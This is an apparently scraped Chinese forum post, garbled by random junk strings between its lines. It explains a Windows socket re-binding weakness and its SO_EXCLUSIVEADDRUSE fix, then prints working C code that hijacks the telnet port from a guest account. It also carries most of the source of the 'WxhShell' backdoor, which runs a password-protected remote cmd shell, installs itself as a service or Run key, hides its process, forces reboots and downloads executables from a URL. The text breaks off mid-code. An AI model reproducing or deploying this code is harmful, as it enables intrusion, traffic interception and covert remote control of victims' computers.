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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /0@'8f\I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FG:(H0 iJT_*,P^ saddr.sin_family = AF_INET; up#W"`" x} {/) ?vC saddr.sin_addr.s_addr = htonl(INADDR_ANY); bU7n1pzW,o 0p)#!$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MQ7N8 @!t ]-&A)M6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2h%/exeS; zT
9"B 这意味着什么?意味着可以进行如下的攻击: uD}Q}]Z i]Njn k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *?:V)!.2z uD4on} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OWx-I\: ]ri5mnB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0Q`Dp;a5& +`}QIp0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6j/g/!9c! &e0BL z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?0*,x)t ~4fUaMT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }OL?k/w
\,&,Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L7VD ZCV H65><38X/ #include %Ya%R@b} #include C>wOoXjt #include GJS3O;2* #include jlXzfDT DWORD WINAPI ClientThread(LPVOID lpParam); tpPP5C{ int main() h}0}g]IUx { VokIc&!Uz WORD wVersionRequested; B>C+qj@ DWORD ret; XB0G7o%1 WSADATA wsaData; Bie#GKc BOOL val; vxE#6 SOCKADDR_IN saddr; 6Ft?9
B(F: SOCKADDR_IN scaddr; aG_@--= int err; 3u[m? Vw SOCKET s; ,=>Ws:j SOCKET sc; 5ir
Ffr int caddsize; ;YN`E HANDLE mt; Aqy y\G; DWORD tid; f.)z_RyGd wVersionRequested = MAKEWORD( 2, 2 ); R.x^ err = WSAStartup( wVersionRequested, &wsaData ); @I"&k!e<2 if ( err != 0 ) { X<8?># printf("error!WSAStartup failed!\n"); L!;"73,&(8 return -1; *Ri\7CqU"6 } ;*u"hIl1/ saddr.sin_family = AF_INET; qTZ\;[CrP" z][hlDv\j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j)nL!":O d6^:lbj saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qPQ6`rD\ saddr.sin_port = htons(23); &u+l`F^Z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =y^`yv 3 { )2sE9G, printf("error!socket failed!\n"); ~7=eHU.@ return -1; ^yLhL^Y } !),eEy val = TRUE; &L[i"1a //SO_REUSEADDR选项就是可以实现端口重绑定的 !MXn&&e1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e j,)<* { Yj CH KI"e printf("error!setsockopt failed!\n"); m>{a<N return -1; _lG|t6y } J5TT+FQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
dzQs7D} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K/iFB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tbp;xv_qo dAWB.# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ["fUSQ { %lk^(@+ T ret=GetLastError(); O llS printf("error!bind failed!\n"); A`~R\j return -1; "4IrW6B$9 } ;Rlf[](iL listen(s,2); \ 5.nr*5 while(1) dl.gCiI { !,+<?o y caddsize = sizeof(scaddr); BOOb{kcg //接受连接请求 Kf-XL),3l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7W'&v+\ if(sc!=INVALID_SOCKET) 5X>K#N { Ay7PU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2 g\O/oz if(mt==NULL) )&DsRA7v { +zwS[P@ printf("Thread Creat Failed!\n"); v#lrF\G5 break; ~47 0LgpO1 } IL`LIJ:O } <.#jp([W> CloseHandle(mt); QOX'ZAB` } `_f&T}] closesocket(s); 2$o#b. WSACleanup(); 1s~rWnhVv return 0; &pQ[(|=( } kbL7Xjk DWORD WINAPI ClientThread(LPVOID lpParam) rd>>=~vx=/ { {Q>4zepN! SOCKET ss = (SOCKET)lpParam; *8Su:=*b SOCKET sc; yEMM@5W)8 unsigned char buf[4096]; lN&+<>a SOCKADDR_IN saddr; T
Xiu/g( long num; dt@~8kS DWORD val; S\]9mHJI DWORD ret; s2(7z9jR //如果是隐藏端口应用的话,可以在此处加一些判断 x ;~;Ah.p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 9_?<T;]" saddr.sin_family = AF_INET; p TaC$Ne saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W\($LD"X saddr.sin_port = htons(23); rizjH+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )3A+Ell` { Pl!E$
printf("error!socket failed!\n"); w_V A:]j4 return -1; _xH<R } TQ:h[6v val = 100; B uso
`G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [MQ* =* { e|W;(@$< ret = GetLastError(); TV0sxod6 return -1; 1;KJUf[N } #6
ni~d&0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k]C k%[d { RT3(utwO ret = GetLastError(); BQ<\[H; return -1; Pr>05lg } dl3;A_ 2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bI3GI:hp { %sPze] printf("error!socket connect failed!\n"); K2e68GU closesocket(sc); N@Oe[X8 closesocket(ss); 3=o4ncg( return -1; vNs`UkA } T`pDjT while(1) $m~&| s { 3UmkFK< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FfxD=\ //如果是嗅探内容的话,可以再此处进行内容分析和记录 cl1ygpf( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %~k>$(u6 num = recv(ss,buf,4096,0); SOX7 if(num>0) si)>:e send(sc,buf,num,0); [3qH?2& else if(num==0) @%*2\8}C! break; wdf;LM num = recv(sc,buf,4096,0); M9o/6 if(num>0) {$Uj&/IC send(ss,buf,num,0); q]C_idK= else if(num==0) (3$DUvx7 break; 1<Mb@t } XkkzY5rxOc closesocket(ss); :!Dm,PP% closesocket(sc); yGNpx3H
return 0 ; KAD2_@l } U}DE9e{/! BfCM\ij -BI!ZsC' ========================================================== *k; bkd4x pnE]B0e 下边附上一个代码,,WXhSHELL 9xj }<WM 1fsNQ!vQP ========================================================== EI*~VFx szhSI #include "stdafx.h" J5F@<vi *k_<|{>j( #include <stdio.h> B|"/bQ #include <string.h> Zk lpnL*! #include <windows.h> XEbVsw #include <winsock2.h> ~XP|dn} #include <winsvc.h> . )+c01 #include <urlmon.h> %qo.n v -C(Yl= #pragma comment (lib, "Ws2_32.lib") 2Sa{=x
N) #pragma comment (lib, "urlmon.lib") =No#/_ ZzgzeT+bv #define MAX_USER 100 // 最大客户端连接数 QICxSk #define BUF_SOCK 200 // sock buffer YLTg(* #define KEY_BUFF 255 // 输入 buffer VpYD/Oj4; 8<T~AU8'* #define REBOOT 0 // 重启 l,]%D #define SHUTDOWN 1 // 关机 T(Q ~b LTzdg >\oJ #define DEF_PORT 5000 // 监听端口 _eq$C=3Ta ]NBx5m+y@i #define REG_LEN 16 // 注册表键长度 #_S]\=N( #define SVC_LEN 80 // NT服务名长度 E9I08AODS zI,Qc60B // 从dll定义API %Rf9KQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1hCU"|VH: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SPdEO3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N9#xT X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QN$s%&O c%hXj#; // wxhshell配置信息 ttJ'6lGXh struct WSCFG { i.W*Go+ int ws_port; // 监听端口 "5k6FV char ws_passstr[REG_LEN]; // 口令 Q>+rjN; int ws_autoins; // 安装标记, 1=yes 0=no 9M7P|Q char ws_regname[REG_LEN]; // 注册表键名 b(R.&X char ws_svcname[REG_LEN]; // 服务名 %JiF269 char ws_svcdisp[SVC_LEN]; // 服务显示名 U`EOun, char ws_svcdesc[SVC_LEN]; // 服务描述信息 #[x*0K-h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R\&z3<-S int ws_downexe; // 下载执行标记, 1=yes 0=no 1;<Vr<. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" !e<2o2~. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y7!& ?t6wozib2 }; gy,)%{,G !idVF!xG // default Wxhshell configuration j0~c2 struct WSCFG wscfg={DEF_PORT, `i(b%$|^&Z "xuhuanlingzhe", /0gr?I1wr7 1, j #:
ARb "Wxhshell", Pf%I6bVN9 "Wxhshell", Z8ivw\|M8 "WxhShell Service", Tq)hAZ "Wrsky Windows CmdShell Service", nt()UC`5 "Please Input Your Password: ", CEw%_U@8 1, :NWIUN " http://www.wrsky.com/wxhshell.exe", ~F,YBX "Wxhshell.exe" Ut'T!RD }; wzxV)1jT CP2wg . // 消息定义模块 u8>aO>(bVg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J!~kqNI char *msg_ws_prompt="\n\r? for help\n\r#>"; F7b%
x7b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; $,/E"G` char *msg_ws_ext="\n\rExit."; PknKzrEG:> char *msg_ws_end="\n\rQuit."; H? z~V-8 char *msg_ws_boot="\n\rReboot..."; u tkdL4G}' char *msg_ws_poff="\n\rShutdown..."; {j`8XWLZZN char *msg_ws_down="\n\rSave to "; DMDtry?1: )i:*r8*~ char *msg_ws_err="\n\rErr!"; Ths~8{dMb char *msg_ws_ok="\n\rOK!";
*JFkqbf pT~3<
, char ExeFile[MAX_PATH]; `'XN2-M8 int nUser = 0; rX5"p!z HANDLE handles[MAX_USER]; oidK_mU9q int OsIsNt; z3L=K9) ?<N} Xh SERVICE_STATUS serviceStatus; 2-Q5l* SERVICE_STATUS_HANDLE hServiceStatusHandle; j<BRaT WH39=)D%u // 函数声明 y!x[N!a int Install(void); $*N(feAs int Uninstall(void); 9a]o?>`E int DownloadFile(char *sURL, SOCKET wsh); ge?0>UU;~ int Boot(int flag); K2n#;fY % void HideProc(void); W"vkmk int GetOsVer(void); 9__Q-J int Wxhshell(SOCKET wsl); 3[_WTwX0 void TalkWithClient(void *cs); $?z}yx$ int CmdShell(SOCKET sock); v_U/0
0 int StartFromService(void); ZWS:-]P. int StartWxhshell(LPSTR lpCmdLine); _](y<O^9yO c C) <Y#1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8|\ -(:v VOID WINAPI NTServiceHandler( DWORD fdwControl ); r
20! <zTz/Hk` // 数据结构和表定义 (7!pc SERVICE_TABLE_ENTRY DispatchTable[] = keD?#yY { %rrD+ {wscfg.ws_svcname, NTServiceMain}, ?-3G5yy {NULL, NULL} Z{l`X#': }; E'mT%@MOM 1GkoE // 自我安装 BT0;I int Install(void) 8q6Le{G { >f^kp8`3{Y char svExeFile[MAX_PATH]; Dt7z<1-)l HKEY key; Z<AZO ^ strcpy(svExeFile,ExeFile); d
{ P$}b k^;/@: // 如果是win9x系统,修改注册表设为自启动 'ta&qp if(!OsIsNt) { 4)}>dxv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |=VWE>g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G[>CBh5 RegCloseKey(key); QALr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0d:t=LKw) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @QnKaZ8jW RegCloseKey(key); %cDTq&Q return 0; ~X<$l+5 } _^RN$4.R> } GeB-4img } LB$0'dZU else { ^jpQfD e6 J%q)6& // 如果是NT以上系统,安装为系统服务 G i( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ${ DSH if (schSCManager!=0) \f Kn} ]kG { 8~.8"gQ SC_HANDLE schService = CreateService M1 o@v 0 ( !,b&e schSCManager, q`z1ht
nf wscfg.ws_svcname, '?NMQ wscfg.ws_svcdisp, '@.Lg0` SERVICE_ALL_ACCESS, ;.$vDin6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bh\2&]Di/ SERVICE_AUTO_START, g.8^ )u SERVICE_ERROR_NORMAL, E/1:4?1 S svExeFile, *N{k#d/ NULL, c;yp}k]\ NULL, /=#~8 NULL, tv`c"Pb NULL, T(cpU,Q NULL sUxEm}z ); 1Zo3K<*J if (schService!=0) r@'~cF]m { ,ag*
/ CloseServiceHandle(schService); 5yV>-XT+- CloseServiceHandle(schSCManager); mB
bGj3u; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [z;}^ 3b strcat(svExeFile,wscfg.ws_svcname); o:as}7/^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4QiV@#o: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1[a#blL6W RegCloseKey(key); "18cD5-# return 0; mpIR: Im } v`7~#Avhz } &f)pU>Di CloseServiceHandle(schSCManager); !{g>g%2! } %(\et%[] } pVjOp~=U
H:z<]Rc return 1; =|^R<#%/ } t|UM2h Kj4L PG // 自我卸载 Y31e1
int Uninstall(void) o> 1+m { SU~ljAF4 HKEY key; 9:E.Iy v//Drj if(!OsIsNt) { iWe'|Br if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WE
/1h RegDeleteValue(key,wscfg.ws_regname); 7<?Aou RegCloseKey(key); mGw*6kOIS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2,h]Y=.s RegDeleteValue(key,wscfg.ws_regname); _.W;hf` RegCloseKey(key); /Hq#!2) return 0; zmFKd5 } u*7>0o|H: } VZk;{ } PnI_W84z else { ZRa~miKyM m='_O+ $ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %=vU
Z4 if (schSCManager!=0) !]z4'* )W { M=5hp&= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?,eq86-M if (schService!=0) 2P|j<~JS { ' |yBz1uL if(DeleteService(schService)!=0) {
G98f Bw CloseServiceHandle(schService); sA,2gbW CloseServiceHandle(schSCManager); _+0c<' return 0; {'+.?g } 0(A&m , CloseServiceHandle(schService); jhka;m } 7wbpQ&1_ CloseServiceHandle(schSCManager); (Ii+}Mfp } z{U^j:A }
X;dUlSi v
5&8C return 1; t"&qaG{ } 'W p~8}i@ L5]uT`Twa // 从指定url下载文件 Lhxg5cd int DownloadFile(char *sURL, SOCKET wsh) .DhB4v& { 05YsLNh HRESULT hr; mk3,ke8 char seps[]= "/"; U/{#~P5s char *token; D.w6/DxaXa char *file; >Qs{LEsLb char myURL[MAX_PATH]; [85tZr] char myFILE[MAX_PATH]; >\s+A2P p!`S]\XEB strcpy(myURL,sURL); 3?wL)6Uj8J token=strtok(myURL,seps); kcl Z+E while(token!=NULL) S@WT;Q2Z { (U|WP%IM' file=token; )H*BTfmt token=strtok(NULL,seps); bxAHzOB(\ } j=PM]
4{D^ 4G GetCurrentDirectory(MAX_PATH,myFILE); Y]"lcr} strcat(myFILE, "\\"); yOm#c>X strcat(myFILE, file); cx*$GaMk send(wsh,myFILE,strlen(myFILE),0); _j\8u`^n send(wsh,"...",3,0); cg}lF9;d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wF{M"$am if(hr==S_OK) 7vB6IF return 0; ce1U}">11 else ~PedR=Y0n return 1; EnYEAjX 6'1Lu1w } HurF4IsHk 1,pPLc( // 系统电源模块 8AmB0W>e int Boot(int flag) bMN]co { 1 o\COnt HANDLE hToken; d@+u&xrd TOKEN_PRIVILEGES tkp; 'M%uw85 V6r*fEhrT_ if(OsIsNt) { _5v]69C# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x UTlM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wI#R\v8(`n tkp.PrivilegeCount = 1; x8RiYi+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y?JB%%WWI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Eyg F,>.4 if(flag==REBOOT) { c^}DBvG, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 23P7%\ return 0; Kq}-) } +Al*MusS else { cf*SWKs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G$6mtw6[M return 0; ;~Q`TWC } q$jwH]
. } ;Bne=vjQp else { iq3TP5%i if(flag==REBOOT) { v)LSH;< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VN]"[ return 0; P+Sgbtc } LCok4N$o else { $qM&iI-l0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QTjnXg?Ri return 0; !.w|+-JKO } X6n8Bi9Ik } C@9K`N[* dG}*M25 return 1; !+n'0{ } FOS*X P
B{7u // win9x进程隐藏模块 sxPvi0> void HideProc(void) FQ]5W |e { R{{?wr6b$ %=i/MFGX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L.%zs if ( hKernel != NULL ) 8hZc#b; { Eg$Er*)h8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dXDuO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Wt F\p FreeLibrary(hKernel); ]NY^0SqM
} a0hgF_O1 E4xybVo@ return; s~g]`/h$r } 14p{V}f3 oX?~ // 获取操作系统版本 g\@zQ^O? int GetOsVer(void) \;!g@?CA { X'usd$[. OSVERSIONINFO winfo; r,wC5%&Za winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "_ON0._(/ GetVersionEx(&winfo); cxnEcX\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g7Z3GUCGL return 1; @Pf['BF" else ?nD]p! return 0; 6' 9zpe@` } [V41 Gk Gvquv\ // 客户端句柄模块 _>G=xKA#e int Wxhshell(SOCKET wsl) ^1X
6DH` { f&C]}P SOCKET wsh; 'HvJ]}p struct sockaddr_in client; lt#3&@<v
DWORD myID; S,RC;D7 sDyt 3xN while(nUser<MAX_USER) 3s_$. { C.+:FY.H int nSize=sizeof(client); lF)k4
+M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8lF:70wia if(wsh==INVALID_SOCKET) return 1; b%e7rY2 DC*6=m_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -p f9Wk if(handles[nUser]==0) me@EKspX closesocket(wsh); KwhATYWQb else ~uEI}z nUser++; M/jdMfU } &u~%5; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QE`u~ tdn|mX# return 0; p
i \SRDP } T0K*!j}O zCSLV>.F // 关闭 socket 9D51@b6k void CloseIt(SOCKET wsh) ;ZR^9%+y9 { @<44wMp closesocket(wsh);
x$6FvgP( nUser--; DO
,7vMO ExitThread(0); H:X(><J } l# |M.V6G iI!g1 // 客户端请求句柄 910N1E void TalkWithClient(void *cs) fl<j]{*v { OZE.T-{ 2m2$jp0 SOCKET wsh=(SOCKET)cs;
ex)U'.^ char pwd[SVC_LEN]; QykHB
k char cmd[KEY_BUFF]; 4j~WrdI* char chr[1]; wy?Hp* E int i,j; *5R91@xt "oT]_WHqo while (nUser < MAX_USER) { ]H=P(Z- :6}cczQE|O if(wscfg.ws_passstr) { A]m_&A# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =B
ts //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A9M/n^61 //ZeroMemory(pwd,KEY_BUFF); DWu~%U8 i=0; n16TQe"8 while(i<SVC_LEN) { n]bxG8~t jQ5FvuNOy // 设置超时 vjYG>YhV fd_set FdRead; t++\&!F struct timeval TimeOut; gBE1aw; FD_ZERO(&FdRead); ^j]"5@f FD_SET(wsh,&FdRead); t2&} TimeOut.tv_sec=8;
3vF-SgCV TimeOut.tv_usec=0; SRc|9W5t*J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <F+9#- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _<l 9j;6 R|dSjE s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *mfPq"/ pwd =chr[0]; a|@1RH>7H if(chr[0]==0xd || chr[0]==0xa) { jp+#N
pH pwd=0; kl9<l* break; ]=m0@JTbG } *wK7qS~VB2 i++; 3Tr}t.mt } vX"jL v*EErQML8b // 如果是非法用户,关闭 socket +/2: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UQ)7uYQ5 } p|R]/C0f SLI358]$< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wfc+E9E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Op:7EdT# C**kJ while(1) { kNTxYJ h_ J|uu ZeroMemory(cmd,KEY_BUFF); y{1|@?ii VWcR@/3 // 自动支持客户端 telnet标准 [bJAh ` I j=0; 8??%H7~ while(j<KEY_BUFF) { MA5BTq<& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <=7^D cmd[j]=chr[0]; ShRkL< if(chr[0]==0xa || chr[0]==0xd) { N^&T5cAC cmd[j]=0; e+>&?
x break; OPwO`pN } [:\8Ug8 j++; k84JDPu# } E>6:59+ h`$2/%? // 下载文件 cE0Kvqe` if(strstr(cmd,"http://")) { WL5!H.q send(wsh,msg_ws_down,strlen(msg_ws_down),0); *ocbV` if(DownloadFile(cmd,wsh)) #y%?A; send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3RTraF else 3xz{[ 5<p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9oA.!4q } "Hw%@ else { HQl_/:Wx <sq@[\l}a switch(cmd[0]) {
[{!5{k! E-q*u(IW // 帮助 sd~T case '?': { 3xnu SOdh send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )#l,RJ( break; ?krgZ;Jj } 4l*4wx""v // 安装 +k4SN case 'i': { i%)Nn^a;T if(Install()) e.IKmH]z send(wsh,msg_ws_err,strlen(msg_ws_err),0); -dn\*n5 else pZ4]oK\* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "*E%?MG break; 7}<057Xn' } 8?rRLM4 // 卸载 /hMD
Me case 'r': { Q0j$u[x6s if(Uninstall()) " '/$ZpY send(wsh,msg_ws_err,strlen(msg_ws_err),0); &m6x*i-5\f else /WJ*ro]Hd$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?][2J break; zU9G:jH } nVC:5ie // 显示 wxhshell 所在路径 -B-nTS` case 'p': { [J|)DUjt char svExeFile[MAX_PATH]; *SX'Or, strcpy(svExeFile,"\n\r"); 9s-op:5 strcat(svExeFile,ExeFile); xED`8PCfu send(wsh,svExeFile,strlen(svExeFile),0); 89@e &h* break; R;_U BQ) } |6pNe T[ // 重启 AqKl}8 case 'b': { lr[a~ca\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P/'~&*m- if(Boot(REBOOT)) @]#0jiS send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[bG(qHZ else { Xp=Y<`dX closesocket(wsh); [9WtoA,kx ExitThread(0); Ab<4F7 } >Udb*76
D break; QM1-w^ } lGI5 // 关机 NW`.RGLI< case 'd': { ,R1`/aRy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {g2cm'hD if(Boot(SHUTDOWN)) eiJO;%fl>l send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=1;HN3 else { @xJ qG" closesocket(wsh); %($qg-x ExitThread(0); JrTSu`S(' } _M+'30 break; kSH3)CC P } ~ySmN}3~' // 获取shell 8{HeHU case 's': { BYEqTwhT& CmdShell(wsh); ujZki.x closesocket(wsh); "-y\F}TE ExitThread(0); O~g_rcG break; sQ/7Mc } I?v)>||Q // 退出 2*Uwp;0 case 'x': { sB_o
HUMH6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N:!XtYA< CloseIt(wsh); fMr6ZmB break; i+yqsYKO } v#.FK:u} // 离开 hi>Ii2T case 'q': { =y8HOT}8 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,~FyC_%*
closesocket(wsh); >U^AIaW WSACleanup(); Z9ciS";L exit(1); ](NSpU|* break; ;h_"5/# } GEwgwenv }
U KF/v } ={b/s31H: M|FwYF^ // 提示信息 "uCx.Q9ef if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VG+Yhm<SL } m?xzx^xs/ } &Z5$
5,[ -B$oq8)n* return; q|om^:n. } O{&5 /xBA +H_Jr'/ // shell模块句柄 8[,,Kr)- int CmdShell(SOCKET sock) #O^H?3Q3 { N7%Jy?-+ STARTUPINFO si; h|dVVCsN ZeroMemory(&si,sizeof(si)); 8nQlmWpJ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >DQl&:-)t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N2;T\xx, PROCESS_INFORMATION ProcessInfo; 6 -gx ba char cmdline[]="cmd"; }f^r@3Cb3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n<\^&_a return 0; <!K2xb-d^ } TF|GGYi zUXqTcj // 自身启动模式 5wRDH1z@{ int StartFromService(void) X.,SXNS+B { {8Hrb^8! typedef struct zrU0YHmt { V8NNIS DWORD ExitStatus; =9y'6|>l DWORD PebBaseAddress; B c*Rn3i@ DWORD AffinityMask; W DY,? DWORD BasePriority; t3 *2Z u ULONG UniqueProcessId; @= 6}w_ ULONG InheritedFromUniqueProcessId; @pY AqX2 } PROCESS_BASIC_INFORMATION; ~({aj|Y =nA;,9% PROCNTQSIP NtQueryInformationProcess; l:8gCi HvK<>9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sBu=@8R]y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s41<e" -&M9Yg|Se HANDLE hProcess; /81Ux@,(e PROCESS_BASIC_INFORMATION pbi; {08UBnR KKa"Ba$g HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +G?4Wc1 if(NULL == hInst ) return 0; TWEmW&Q ]Tf.KUm g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D^04b<O<x g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eq"a)QB3m NtQueryInformationProcess = 